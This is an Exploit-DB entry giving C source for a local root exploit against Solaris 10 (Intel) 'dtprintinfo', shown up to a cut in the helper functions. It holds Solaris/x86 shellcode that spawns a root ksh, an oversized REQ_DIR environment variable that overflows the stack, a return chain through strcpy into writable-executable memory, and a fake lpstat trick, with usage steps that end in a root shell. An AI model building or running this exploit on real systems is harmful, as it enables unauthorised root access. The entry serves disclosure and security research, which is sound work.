Exploit-DB #49514
Description: Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)
Type: local
Platform: solaris
Date: 2021-02-02
Author: Marco Ivaldi

Exploit:
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 Intel


/*
 * raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE
 * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * "What we do in life echoes in eternity" -- Maximus Decimus Meridius
 * https://patchfriday.com/22/
 *
 * Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
 * local root. This one was discovered by Marti Guasch Jimenez, who attended my
 * talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on
 * May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19).
 *
 * It's a stack-based buffer overflow in the check_dir() function:
 * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){
 *     char local_724 [300];
 *     ...
 *     __format = getenv("REQ_DIR");
 *     sprintf(local_724,__format,param_2);
 *
 * "To trigger this vulnerability we need a printer present, we can also fake
 * it with the lpstat trick. We also need at least one directory in the path
 * pointed by the environment variable TMP_DIR. Finally, we just need to set
 * REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to
 * overwrite EIP." -- Marti Guasch Jimenez
 *
 * This bug was likely fixed during the general cleanup of CDE code done by
 * Oracle in response to my recently reported vulnerabilities. However, I can't
 * confirm this because I have no access to their patches:/
 *
 * Usage:
 * $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0
 * [on your xserver: double click on the fake "fnord" printer]
 * [...]
 * # id
 * uid=0(root) gid=1(other)
 * #
 *
 * Tested on:
 * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>

#define INFO1	"raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE"
#define INFO2	"Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	VULN	"/usr/dt/bin/dtprintinfo"	// the vulnerable program
#define	BUFSIZE	2048				// size of the evil env var

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char	*arg[2] = {"foo", NULL};
char	*env[256];
int	env_pos = 0, env_len = 0;

/* prototypes */
int	add_env(char *string);
void	check_zero(int addr, char *pattern);
int	get_sc_addr(char *path, char **argv);
int	search_ldso(char *sym);
int	search_rwx_mem(void);
void	set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE];
	char	platform[256], release[256], display[256];
	int	i, sc_addr;

	int	sb = ((int)argv[0] | 0xfff);	/* stack base */
	int	ret = search_ldso("strcpy");	/* or sprintf */
	int	rwx_mem = search_rwx_mem();	/* rwx memory */

	/* lpstat code to add a fake printer */
	if (!strcmp(argv[0], "lpstat")) {

		/* check command line */
		if (argc != 2)
			exit(1);

		/* print the expected output and exit */
		if(!strcmp(argv[1], "-v")) {
			fprintf(stderr, "lpstat called with -v\n");
			printf("device for fnord: /dev/null\n");
		} else {
			fprintf(stderr, "lpstat called with -d\n");
			printf("system default destination: fnord\n");
		}
		exit(0);
	}

	/* helper program that prints argv[0] address, used by get_sc_addr() */
	if (!strcmp(argv[0], "foo")) {
		printf("0x%p\n", argv[0]);
		exit(0);
	}

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* process command line */
	if (argc != 2) {
		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
		exit(1);
	}
	sprintf(display, "DISPLAY=%s", argv[1]);

	/* prepare the evil env var */
	memset(buf, 'A', sizeof(buf));
	buf[sizeof(buf) - 1] = 0x0;
	memcpy(buf, "REQ_DIR=", 8);

	/* fill the envp, keeping padding */
	add_env(sc);
	add_env(buf);
	add_env(display);
	add_env("TMP_DIR=/tmp");
	add_env("PATH=.:/usr/bin");
	add_env("HOME=/tmp");
	add_env(NULL);

	/* calculate the shellcode address */
	sc_addr = get_sc_addr(VULN, argv);

	/* fill with ld.so.1 address, saved eip, and arguments */
	for (i = 12; i < BUFSIZE - 20; i += 4) {
		set_val(buf, i, ret);		/* strcpy */
		set_val(buf, i += 4, rwx_mem);	/* saved eip */
		set_val(buf, i += 4, rwx_mem);	/* 1st argument */
		set_val(buf, i += 4, sc_addr);	/* 2nd argument */
	}

	/* we need at least one directory inside TMP_DIR to trigger the bug */
	mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);

	/* create a symlink for the fake lpstat */
	unlink("lpstat");
	symlink(argv[0], "lpstat");

	/* print some output */
	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
	fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

        /* check for null bytes */
        check_zero(sc_addr, "sc address");

	/* run the vulnerable program */
	execve(VULN, arg, env);
	perror("execve");
	exit(1);
}

/*
 * add_env(): add a variable to envp and